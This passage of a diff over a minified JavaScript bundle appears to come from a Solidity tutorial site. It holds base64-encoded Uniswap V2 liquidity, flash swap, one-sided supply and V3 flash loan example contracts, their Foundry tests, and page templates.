liquidity",MA=[{fileName:"UniswapV2Liquidity.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFVuaXN3YXBWMkFkZExpcXVpZGl0eSB7CiAgICBhZGRyZXNzIHByaXZhdGUg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1aWRpdHkoCiAgICAgICAgICAgICAgICBfdG9rZW5BLAogICAgICAgICAgICAgICAgX3Rva2VuQiwKICAgICAgICAgICAgICAgIF9hbW91bnRBLAogICAgICAgICAgICAgICAgX2Ftb3VudEIsCiAgICAgICAgICAgICAgICAxLAogICAgICAgICAgICAgICAgMSwKICAgICAgICAgICAgICAgIGFkZHJlc3ModGhpcyksCiAgICAgICAgICAgICAgICBibG9jay50aW1lc3RhbXAKICAgICAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZW1vdmVMaXF1aWRpdHkoYWRkcmVzcyBfdG9rZW5BLCBhZGRyZXNzIF90b2tlbkIpIGV4dGVybmFsIHsKICAgICAgICBhZGRyZXNzIHBhaXIgPSBJVW5pc3dhcFYyRmFjdG9yeShGQUNUT1JZKS5nZXRQYWlyKF90b2tlbkEsIF90b2tlbkIpOwoKICAgICAgICB1aW50IGxpcXVpZGl0eSA9IElFUkMyMChwYWlyKS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgc2FmZUFwcHJvdmUoSUVSQzIwKHBhaXIpLCBST1VURVIsIGxpcXVpZGl0eSk7CgogICAgICAgICh1aW50IGFtb3VudEEsIHVpbnQgYW1vdW50QikgPSBJVW5pc3dhcFYyUm91dGVyKFJPVVRFUikucmVtb3ZlTGlxdWlkaXR5KAogICAgICAgICAgICBfdG9rZW5BLAogICAgICAgICAgICBfdG9rZW5CLAogICAgICAgICAgICBsaXF1aWRpdHksCiAgICAgICAgICAgIDEsCiAgICAgICAgICAgIDEsCiAgICAgICAgICAgIGFkZHJlc3ModGhpcyksCiAgICAgICAgICAgIGJsb2NrLnRpbWVzdGFtcAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBAZGV2IFRoZSB0cmFuc2ZlckZyb20gZnVuY3Rpb24gbWF5IG9yIG1heSBub3QgcmV0dXJuIGEgYm9vbC4KICAgICAqIFRoZSBFUkMtMjAgc3BlYyByZXR1cm5zIGEgYm9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iAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IHJldHVybkRhdGEpID0gYWRkcmVzcyh0b2tlbikuY2FsbCgKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoSUVSQzIwLmFwcHJvdmUsIChzcGVuZGVyLCBhbW91bnQpKQogICAgICAgICk7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgc3VjY2VzcyAmJiAocmV0dXJuRGF0YS5sZW5ndGggPT0gMCB8fCBhYmkuZGVjb2RlKHJldHVybkRhdGEsIChib29sKSkpLAogICAgICAgICAgICAiQXBwcm92ZSBmYWlsIgogICAgICAgICk7CiAgICB9Cn0KCmludGVyZmFjZSBJVW5pc3dhcFYyUm91dGVyIHsKICAgIGZ1bmN0aW9uIGFkZExpcXVpZGl0eSgKICAgICAgICBhZGRyZXNzIHRva2VuQSwKICAgICAgICBhZGRyZXNzIHRva2VuQiwKICAgICAgICB1aW50IGFtb3VudEFEZXNpcmVkLAogICAgICAgIHVpbnQgYW1vdW50QkRlc2lyZWQsCiAgICAgICAgdWludCBhbW91bnRBTWluLAogICAgICAgIHVpbnQgYW1vdW50Qk1pbiwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQgZGVhZGxpbmUKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludCBhbW91bnRBLCB1aW50IGFtb3VudEIsIHVpbnQgbGlxdWlkaXR5KTsKCiAgICBmdW5jdGlvbiByZW1vdmVMaXF1aWRpdHkoCiAgICAgICAgYWRkcmVzcyB0b2tlbkEsCiAgICAgICAgYWRkcmVzcyB0b2tlbkIsCiAgICAgICAgdWludCBsaXF1aWRpdHksCiAgICAgICAgdWludCBhbW91bnRBTWluLAogICAgICAgIHVpbnQgYW1vdW50Qk1pbiwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQgZGVhZGxpbmUKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludCBhbW91bnRBLCB1aW50IGFtb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cHByb3ZlIGZ1bmN0aW9uIG1heSBvciBtYXkgbm90IHJldHVybiBhIGJvb2wuCiAgICAgKiBUaGUgRVJDLTIwIHNwZWMgcmV0dXJucyBhIGJvb2wsIGJ1dCBzb21lIHRva2VucyBkb24ndCBmb2xsb3cgdGhlIHNwZWMuCiAgICAgKiBOZWVkIHRvIGNoZWNrIGlmIGRhdGEgaXMgZW1wdHkgb3IgdHJ1ZS4KICAgICAqLwogICAgZnVuY3Rpb24gc2FmZUFwcHJvdmUoSUVSQzIwIHRva2VuLCBhZGRyZXNzIHNwZW5kZXIsIHVpbnQgYW1vdW50KSBpbnRlcm5hbCB7CiAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IHJldHVybkRhdGEpID0gYWRkcmVzcyh0b2tlbikuY2FsbCgKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoSUVSQzIwLmFwcHJvdmUsIChzcGVuZGVyLCBhbW91bnQpKQogICAgICAgICk7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgc3VjY2VzcyAmJiAocmV0dXJuRGF0YS5sZW5ndGggPT0gMCB8fCBhYmkuZGVjb2RlKHJldHVybkRhdGEsIChib29sKSkpLAogICAgICAgICAgICAiQXBwcm92ZSBmYWlsIgogICAgICAgICk7CiAgICB9Cn0K"}],JA=`

                    Add / Remove Liquidity

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.20;
                     
                    @@ -5300,7 +5300,7 @@ IERC20 constant PAIR Uniswap V2 Flash Swap Example
                    +
                    `,zA=({prev:s,next:a})=>i.jsx(u,{version:KA,title:SA,description:xA,html:JA,prev:s,next:a,codes:MA}),EA="0.8.20",LA="Uniswap V2 Flash Swap",QA="Uniswap V2 flash swap",_A=[{fileName:"UniswapV2FlashSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmludGVyZmFjZSBJVW5pc3dhc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FOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CmFkZHJlc3MgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwphZGRyZXNzIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7Cgpjb250cmFjdCBVbmlzd2FwVjJGbGFzaFN3YXBUZXN0IGlzIFRlc3QgewogICAgSVdFVEggcHJpdmF0ZSB3ZXRoID0gSVdFVEgoV0VUSCk7CgogICAgVW5pc3dhcFYyRmxhc2hTd2FwIHByaXZhdGUgdW5pID0gbmV3IFVuaXN3YXBWMkZsYXNoU3dhcCgpOwoKICAgIGZ1bmN0aW9uIHNldFVwKCkgcHVibGljIHt9CgogICAgZnVuY3Rpb24gdGVzdEZsYXNoU3dhcCgpIHB1YmxpYyB7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiAxZTE4fSgpOwogICAgICAgIC8vIEFwcHJvdmUgZmxhc2ggc3dhcCBmZWUKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCAxZTE4KTsKCiAgICAgICAgdWludCBhbW91bnRUb0JvcnJvdyA9IDEwICogMWUxODsKICAgICAgICB1bmkuZmxhc2hTd2FwKGFtb3VudFRvQm9ycm93KTsKCiAgICAgICAgYXNzZXJ0R3QodW5pLmFtb3VudFRvUmVwYXkoKSwgYW1vdW50VG9Cb3Jyb3cpOwogICAgfQp9Cg=="}],UA=`

                    Uniswap V2 Flash Swap Example

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.20;
                     
                    @@ -5452,7 +5452,7 @@ forge test -vv --gas-report --fork-url $FORK_URL --match-path test/UniswapV2Flas
                     

                    Links

                    Foundry

                    Uniswap V3 Foundry example

                    -`,QA=({prev:s,next:a})=>i.jsx(u,{version:MA,title:JA,description:zA,html:LA,prev:s,next:a,codes:EA}),_A="0.8.20",UA="Uniswap V2 Optimal One Sided Supply",TA="Uniswap V2 Optimal One Sided Supply",DA=[{fileName:"Optimal.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFRlc3RVbmlzd2FwT3B0aW1hbE9uZVNpZGVkU3VwcGx5IHsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBGQUNUT1JZID0gMHg1QzY5YkVlNzAxZWY4MTRhMkI2YTNFREQ0QjE2NTJDQjljYzVhQTZmOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFJPVVRFUiA9IDB4N2EyNTBkNTYzMEI0Y0Y1Mzk3MzlkRjJDNWRBY2I0YzY1OUYyNDg4RDsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwoKICAgIGZ1bmN0aW9uIHNxcnQodWludCB5KSBwcml2YXRlIHB1cmUgcmV0dXJucyAodWludCB6KSB7CiAgICAgICAgaWYgKHkgPiAzKSB7CiAgICAgICAgICAgIHogPSB5OwogICAgICAgICAgICB1aW50IHggPSB5IC8gMiArIDE7CiAgICAgICAgICAgIHdoaWxlICh4IDwgeikgewogICAgICAgICAgICAgICAgeiA9IHg7CiAgICAgICAgICAgICAgICB4ID0gKHkgLyB4ICsgeCkgLyAyOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIGlmICh5ICE9IDApIHsKICAgICAgICAgICAgeiA9IDE7CiAgICAgICAgfQogICAgfQoKICAgIC8qCiAgICBzID0gb3B0aW1hbCBzd2FwIGFtb3VudAogICAgciA9IGFtb3VudCBvZiByZXNlcnZlIGZvciB0b2tlbiBhCiAgICBhID0gYW1vdW50IG9mIHRva2VuIGEgdGhlIHVzZXIgY3VycmVudGx5IGhhcyAobm90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hbCB7CiAgICAgICAgdWludCBiYWxBID0gSUVSQzIwKF90b2tlbkEpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICB1aW50IGJhbEIgPSBJRVJDMjAoX3Rva2VuQikuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIElFUkMyMChfdG9rZW5BKS5hcHByb3ZlKFJPVVRFUiwgYmFsQSk7CiAgICAgICAgSUVSQzIwKF90b2tlbkIpLmFwcHJvdmUoUk9VVEVSLCBiYWxCKTsKCiAgICAgICAgSVVuaXN3YXBWMlJvdXRlcihST1VURVIpLmFkZExpcXVpZGl0eSgKICAgICAgICAgICAgX3Rva2VuQSwKICAgICAgICAgICAgX3Rva2VuQiwKICAgICAgICAgICAgYmFsQSwKICAgICAgICAgICAgYmFsQiwKICAgICAgICAgICAgMCwKICAgICAgICAgICAgMCwKICAgICAgICAgICAgYWRkcmVzcyh0aGlzKSwKICAgICAgICAgICAgYmxvY2sudGltZXN0YW1wCiAgICAgICAgKTsKICAgIH0KfQoKaW50ZXJmYWNlIElVbmlzd2FwVjJSb3V0ZXIgewogICAgZnVuY3Rpb24gYWRkTGlxdWlkaXR5KAogICAgICAgIGFkZHJlc3MgdG9rZW5BLAogICAgICAgIGFkZHJlc3MgdG9rZW5CLAogICAgICAgIHVpbnQgYW1vdW50QURlc2lyZWQsCiAgICAgICAgdWludCBhbW91bnRCRGVzaXJlZCwKICAgICAgICB1aW50IGFtb3VudEFNaW4sCiAgICAgICAgdWludCBhbW91bnRCTWluLAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludCBkZWFkbGluZQogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50IGFtb3VudEEsIHVpbnQgYW1vdW50QiwgdWludCBsaXF1aWRpdHkpOwoKICAgIGZ1bmN0aW9uIHN3YXBFeGFjdFRva2Vuc0ZvclRva2VucygKICAgICAgICB1aW50IGFtb3VudEluLAogICAgICAgIHVpbnQgYW1vdW50T3V0T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ZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludCBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbSgKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICBhZGRyZXNzIHJlY2lwaWVudCwKICAgICAgICB1aW50IGFtb3VudAogICAgKSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKfQo="}],OA=`

                    Optimal One Sided Supply

                    +`,TA=({prev:s,next:a})=>i.jsx(u,{version:EA,title:LA,description:QA,html:UA,prev:s,next:a,codes:_A}),DA="0.8.20",OA="Uniswap V2 Optimal One Sided Supply",PA="Uniswap V2 Optimal One Sided Supply",$A=[{fileName:"Optimal.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFRlc3RVbmlzd2FwT3B0aW1hbE9uZVNpZGVkU3VwcGx5IHsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBGQUNUT1JZID0gMHg1QzY5YkVlNzAxZWY4MTRhMkI2YTNFREQ0QjE2NTJDQjljYzVhQTZmOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFJPVVRFUiA9IDB4N2EyNTBkNTYzMEI0Y0Y1Mzk3MzlkRjJDNWRBY2I0YzY1OUYyNDg4RDsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwoKICAgIGZ1bmN0aW9uIHNxcnQodWludCB5KSBwcml2YXRlIHB1cmUgcmV0dXJucyAodWludCB6KSB7CiAgICAgICAgaWYgKHkgPiAzKSB7CiAgICAgICAgICAgIHogPSB5OwogICAgICAgICAgICB1aW50IHggPSB5IC8gMiArIDE7CiAgICAgICAgICAgIHdoaWxlICh4IDwgeikgewogICAgICAgICAgICAgICAgeiA9IHg7CiAgICAgICAgICAgICAgICB4ID0gKHkgLyB4ICsgeCkgLyAyOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIGlmICh5ICE9IDApIHsKICAgICAgICAgICAgeiA9IDE7CiAgICAgICAgfQogICAgfQoKICAgIC8qCiAgICBzID0gb3B0aW1hbCBzd2FwIGFtb3VudAogICAgciA9IGFtb3VudCBvZiByZXNlcnZlIGZvciB0b2tlbiBhCiAgICBhID0gYW1vdW50IG9mIHRva2VuIGEgdGhlIHVzZXIgY3VycmVudGx5IGhhcyAobm90IGFkZGVkIHRvIHJlc2VydmUgeWV0KQogICAgZiA9IHN3YXAgZmVlIHBlcmNlbnQKICAgIHMgPSAoc3FydCgoKDIgLSBmKXIpXjIgKyA0KDEgLSBmKWFyKSAtICgyIC0gZilyKSAvICgyKDEgLSBmKSkKICAgICovCiAgICBmdW5jdGlvbiBnZXRTd2FwQW1vdW50KHVpbnQgciwgdWludCBhKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIChzcXJ0KHIgKiAociAqIDM5ODgwMDkgKyBhICogMzk4ODAwMCkpIC0gciAqIDE5OTcpIC8gMTk5NDsKICAgIH0KCiAgICAvKiBPcHRpbWFsIG9uZS1zaWRlZCBzdXBwbHkKICAgIDEuIFN3YXAgb3B0aW1hbCBhbW91bnQgZnJvbSB0b2tlbiBBIHRvIHRva2VuIEIKICAgIDIuIEFkZCBsaXF1aWRpdHkKICAgICovCiAgICBmdW5jdGlvbiB6YXAoYWRkcmVzcyBfdG9rZW5BLCBhZGRyZXNzIF90b2tlbkIsIHVpbnQgX2Ftb3VudEEpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKF90b2tlbkEgPT0gV0VUSCB8fCBfdG9rZW5CID09IFdFVEgsICIhd2V0aCIpOwoK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bXSgyKTsKICAgICAgICBwYXRoWzBdID0gX2Zyb207CiAgICAgICAgcGF0aFsxXSA9IF90bzsKCiAgICAgICAgSVVuaXN3YXBWMlJvdXRlcihST1VURVIpLnN3YXBFeGFjdFRva2Vuc0ZvclRva2VucygKICAgICAgICAgICAgX2Ftb3VudCwKICAgICAgICAgICAgMSwKICAgICAgICAgICAgcGF0aCwKICAgICAgICAgICAgYWRkcmVzcyh0aGlzKSwKICAgICAgICAgICAgYmxvY2sudGltZXN0YW1wCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfYWRkTGlxdWlkaXR5KGFkZHJlc3MgX3Rva2VuQSwgYWRkcmVzcyBfdG9rZW5CKSBpbnRlcm5hbCB7CiAgICAgICAgdWludCBiYWxBID0gSUVSQzIwKF90b2tlbkEpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICB1aW50IGJhbEIgPSBJRVJDMjAoX3Rva2VuQikuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIElFUkMyMChfdG9rZW5BKS5hcHByb3ZlKFJPVVRFUiwgYmFsQSk7CiAgICAgICAgSUVSQzIwKF90b2tlbkIpLmFwcHJvdmUoUk9VVEVSLCBiYWxCKTsKCiAgICAgICAgSVVuaXN3YXBWMlJvdXRlcihST1VURVIpLmFkZExpcXVpZGl0eSgKICAgICAgICAgICAgX3Rva2VuQSwKICAgICAgICAgICAgX3Rva2VuQiwKICAgICAgICAgICAgYmFsQSwKICAgICAgICAgICAgYmFsQiwKICAgICAgICAgICAgMCwKICAgICAgICAgICAgMCwKICAgICAgICAgICAgYWRkcmVzcyh0aGlzKSwKICAgICAgICAgICAgYmxvY2sudGltZXN0YW1wCiAgICAgICAgKTsKICAgIH0KfQoKaW50ZXJmYWNlIElVbmlzd2FwVjJSb3V0ZXIgewogICAgZnVuY3Rpb24gYWRkTGlxdWlkaXR5KAogICAgICAgIGFkZHJlc3MgdG9rZW5BLAogICAgICAgIGFkZHJ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Owp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludCBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbSgKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICBhZGRyZXNzIHJlY2lwaWVudCwKICAgICAgICB1aW50IGFtb3VudAogICAgKSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKfQo="}],qA=`

                    Optimal One Sided Supply

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.20;
                     
                    @@ -5599,7 +5599,7 @@ forge test -vv --gas-report --fork-url $FORK_URL --match-path test/UniswapV2Flas
                             uint amount
                         ) external returns (bool);
                     }
                    -
                    `,PA=({prev:s,next:a})=>i.jsx(u,{version:_A,title:UA,description:TA,html:OA,prev:s,next:a,codes:DA}),$A="0.8.20",qA="Uniswap V3 Flash Loan",sb="Uniswap V3 Flash Loan",ab=[{fileName:"UniswapV3Flash.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYW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zcygKICAgICAgICAgICAgdWludDE2MCgKICAgICAgICAgICAgICAgIHVpbnQoCiAgICAgICAgICAgICAgICAgICAga2VjY2FrMjU2KAogICAgICAgICAgICAgICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKAogICAgICAgICAgICAgICAgICAgICAgICAgICAgaGV4ImZmIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZhY3RvcnksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBrZWNjYWsyNTYoYWJpLmVuY29kZShrZXkudG9rZW4wLCBrZXkudG9rZW4xLCBrZXkuZmVlKSksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBQT09MX0lOSVRfQ09ERV9IQVNICiAgICAgICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICkKICAgICAgICApOwogICAgfQp9CgppbnRlcmZhY2UgSVVuaXN3YXBWM1Bvb2wgewogICAgZnVuY3Rpb24gZmxhc2goCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludCBhbW91bnQwLAogICAgICAgIHVpbnQgYW1vdW50MSwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsOwp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikgZXh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gY29uc3RhbnQgVVNEQyA9IDB4QTBiODY5OTFjNjIxOGIzNmMxZDE5RDRhMmU5RWIwY0UzNjA2ZUI0ODsKICAgIHVpbnQyNCBjb25zdGFudCBQT09MX0ZFRSA9IDMwMDA7CgogICAgSVdFVEggcHJpdmF0ZSB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSB1c2RjID0gSUVSQzIwKFVTREMpOwoKICAgIFVuaXN3YXBWM0ZsYXNoIHByaXZhdGUgdW5pID0gbmV3IFVuaXN3YXBWM0ZsYXNoKFVTREMsIFdFVEgsIFBPT0xfRkVFKTsKCiAgICBmdW5jdGlvbiBzZXRVcCgpIHB1YmxpYyB7fQoKICAgIGZ1bmN0aW9uIHRlc3RGbGFzaCgpIHB1YmxpYyB7CiAgICAgICAgLy8gQXBwcm92ZSBXRVRIIGZlZQogICAgICAgIHdldGguZGVwb3NpdHt2YWx1ZTogMWUxOH0oKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCAxZTE4KTsKCiAgICAgICAgdWludCBiYWxCZWZvcmUgPSB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICB1bmkuZmxhc2goMCwgMTAwICogMWUxOCk7CiAgICAgICAgdWludCBiYWxBZnRlciA9IHdldGguYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwoKICAgICAgICB1aW50IGZlZSA9IGJhbEJlZm9yZSAtIGJhbEFmdGVyOwogICAgICAgIGNvbnNvbGUubG9nKCJXRVRIIGZlZSIsIGZlZSk7CiAgICB9Cn0K"}],nb=`

                    Uniswap V3 Flash Loan Example

                    +`,sb=({prev:s,next:a})=>i.jsx(u,{version:DA,title:OA,description:PA,html:qA,prev:s,next:a,codes:$A}),ab="0.8.20",nb="Uniswap V3 Flash Loan",lb="Uniswap V3 Flash Loan",pb=[{fileName:"UniswapV3Flash.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW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lKGtleS50b2tlbjAgPCBrZXkudG9rZW4xKTsKICAgICAgICBwb29sID0gYWRkcmVzcygKICAgICAgICAgICAgdWludDE2MCgKICAgICAgICAgICAgICAgIHVpbnQoCiAgICAgICAgICAgICAgICAgICAga2VjY2FrMjU2KAogICAgICAgICAgICAgICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKAogICAgICAgICAgICAgICAgICAgICAgICAgICAgaGV4ImZmIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZhY3RvcnksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBrZWNjYWsyNTYoYWJpLmVuY29kZShrZXkudG9rZW4wLCBrZXkudG9rZW4xLCBrZXkuZmVlKSksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBQT09MX0lOSVRfQ09ERV9IQVNICiAgICAgICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICkKICAgICAgICApOwogICAgfQp9CgppbnRlcmZhY2UgSVVuaXN3YXBWM1Bvb2wgewogICAgZnVuY3Rpb24gZmxhc2goCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludCBhbW91bnQwLAogICAgICAgIHVpbnQgYW1vdW50MSwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsOwp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gYWx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zRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKICAgIGFkZHJlc3MgY29uc3RhbnQgVVNEQyA9IDB4QTBiODY5OTFjNjIxOGIzNmMxZDE5RDRhMmU5RWIwY0UzNjA2ZUI0ODsKICAgIHVpbnQyNCBjb25zdGFudCBQT09MX0ZFRSA9IDMwMDA7CgogICAgSVdFVEggcHJpdmF0ZSB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSB1c2RjID0gSUVSQzIwKFVTREMpOwoKICAgIFVuaXN3YXBWM0ZsYXNoIHByaXZhdGUgdW5pID0gbmV3IFVuaXN3YXBWM0ZsYXNoKFVTREMsIFdFVEgsIFBPT0xfRkVFKTsKCiAgICBmdW5jdGlvbiBzZXRVcCgpIHB1YmxpYyB7fQoKICAgIGZ1bmN0aW9uIHRlc3RGbGFzaCgpIHB1YmxpYyB7CiAgICAgICAgLy8gQXBwcm92ZSBXRVRIIGZlZQogICAgICAgIHdldGguZGVwb3NpdHt2YWx1ZTogMWUxOH0oKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCAxZTE4KTsKCiAgICAgICAgdWludCBiYWxCZWZvcmUgPSB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICB1bmkuZmxhc2goMCwgMTAwICogMWUxOCk7CiAgICAgICAgdWludCBiYWxBZnRlciA9IHdldGguYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwoKICAgICAgICB1aW50IGZlZSA9IGJhbEJlZm9yZSAtIGJhbEFmdGVyOwogICAgICAgIGNvbnNvbGUubG9nKCJXRVRIIGZlZSIsIGZlZSk7CiAgICB9Cn0K"}],eb=`

                    Uniswap V3 Flash Loan Example

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.20;
                     
                    @@ -5785,7 +5785,7 @@ forge test -vv --gas-report --fork-url $FORK_URL --match-path test/UniswapV3Flas
                     

                    Links

                    Foundry

                    Uniswap V3 Foundry example

